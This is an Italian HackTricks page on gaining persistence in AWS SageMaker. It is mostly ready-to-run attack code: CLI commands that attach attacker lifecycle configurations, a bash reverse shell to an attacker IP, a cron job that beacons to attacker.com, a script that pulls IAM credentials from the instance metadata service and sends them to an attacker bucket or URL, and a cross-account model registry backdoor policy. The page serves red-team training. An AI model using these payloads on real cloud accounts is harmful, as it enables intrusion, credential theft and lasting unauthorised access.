AWS - SageMaker Persistenza

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica delle tecniche di persistenza

Questa sezione descrive i metodi per ottenere persistenza in SageMaker abusando delle Lifecycle Configurations (LCCs), inclusi reverse shells, cron jobs, credential theft via IMDS e SSH backdoors. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso di rete in uscita, ma l'uso di servizi sul control plane di AWS può comunque permettere il successo se l'ambiente è in modalità 'VPC-only'.

tip

Nota: le istanze notebook di SageMaker sono in pratica istanze EC2 gestite, configurate specificamente per carichi di lavoro di machine learning.

Permessi richiesti

  • Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Studio Applications:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Imposta Lifecycle Configuration su Notebook Instances

Esempi di comandi AWS CLI:

bash
# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Imposta Lifecycle Configuration su SageMaker Studio

Le Lifecycle Configurations possono essere associate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.

Studio Domain Level (Tutti gli utenti)

bash
# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Livello Studio Space (spazi individuali o condivisi)

bash
# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Tipi di configurazioni del ciclo di vita delle applicazioni di Studio

Le configurazioni del ciclo di vita possono essere applicate specificamente ai diversi tipi di applicazioni di SageMaker Studio:

  • JupyterServer: Esegue script durante l'avvio del Jupyter server, ideale per meccanismi di persistence come reverse shells e cron jobs.
  • KernelGateway: Viene eseguito durante il lancio dell'app KernelGateway, utile per la configurazione iniziale o per persistent access.
  • CodeEditor: Si applica al Code Editor (Code-OSS), permettendo script che vengono eseguiti all'avvio delle sessioni di editing del codice.

Comando di esempio per ogni tipo:

JupyterServer

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

Editor di codice

bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Informazioni critiche:

  • L'assegnazione di LCCs a livello di domain o space impatta tutti gli utenti o le applicazioni nell'ambito.
  • Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace), tipicamente più fattibile a livello di space che di domain.
  • Controlli a livello di rete (es. filtraggio egress stringente) possono prevenire reverse shells o data exfiltration.

Reverse Shell tramite Lifecycle Configuration

Le SageMaker Lifecycle Configurations (LCCs) eseguono script personalizzati all'avvio delle istanze notebook. Un attaccante con i permessi può instaurare un reverse shell persistente.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence via Lifecycle Configuration

Un attaccante può iniettare cron jobs tramite LCC scripts, garantendo l'esecuzione periodica di script o comandi dannosi e consentendo una persistence stealthy.

Payload Example:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Esfiltrazione di credenziali tramite IMDS (v1 & v2)

Le lifecycle configurations possono interrogare l'Instance Metadata Service (IMDS) per recuperare le credenziali IAM ed esfiltrarle verso una posizione controllata dall'attaccante.

Esempio di payload:

bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Persistenza tramite resource-based policy del SageMaker Model Package Group (PutModelPackageGroupPolicy)

Abusa della resource-based policy su un SageMaker Model Package Group per concedere a un principal esterno diritti cross-account (es., CreateModelPackage/Describe/List). Questo crea una backdoor duratura che permette di pushing poisoned model versions o di leggere model metadata/artifacts anche se l'IAM user/role dell'attaccante nell'account vittima viene rimosso.

Permessi richiesti

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

Passaggi (us-east-1)

bash
# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

Note

  • Per un vero cross-account backdoor, limita Resource allo specifico group ARN e usa l'AWS account ID dell'attaccante in Principal.
  • Per deployment end-to-end cross-account o lettura di artifact, allinea le autorizzazioni S3/ECR/KMS con l'account dell'attaccante.

Impatto

  • Controllo persistente cross-account di un Model Registry group: l'attaccante può pubblicare versioni di modelli malevoli o enumerare/leggere i metadata dei modelli anche dopo che le loro entità IAM sono state rimosse nell'account vittima.

Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

Abusa delle impostazioni utente di SageMaker Canvas per reindirizzare silenziosamente le scritture del model registry verso un account controllato dall'attaccante abilitando ModelRegisterSettings e impostando CrossAccountModelRegisterRoleArn su un ruolo dell'attaccante in un altro account.

Required permissions

  • sagemaker:UpdateUserProfile sul UserProfile di destinazione
  • Optional: sagemaker:CreateUserProfile su un Domain che controlli

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks